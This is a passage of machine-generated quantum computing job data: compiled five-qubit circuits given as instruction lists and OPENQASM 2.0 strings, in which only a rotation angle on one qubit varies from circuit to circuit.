q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1299', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1301', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1303', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1305', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx 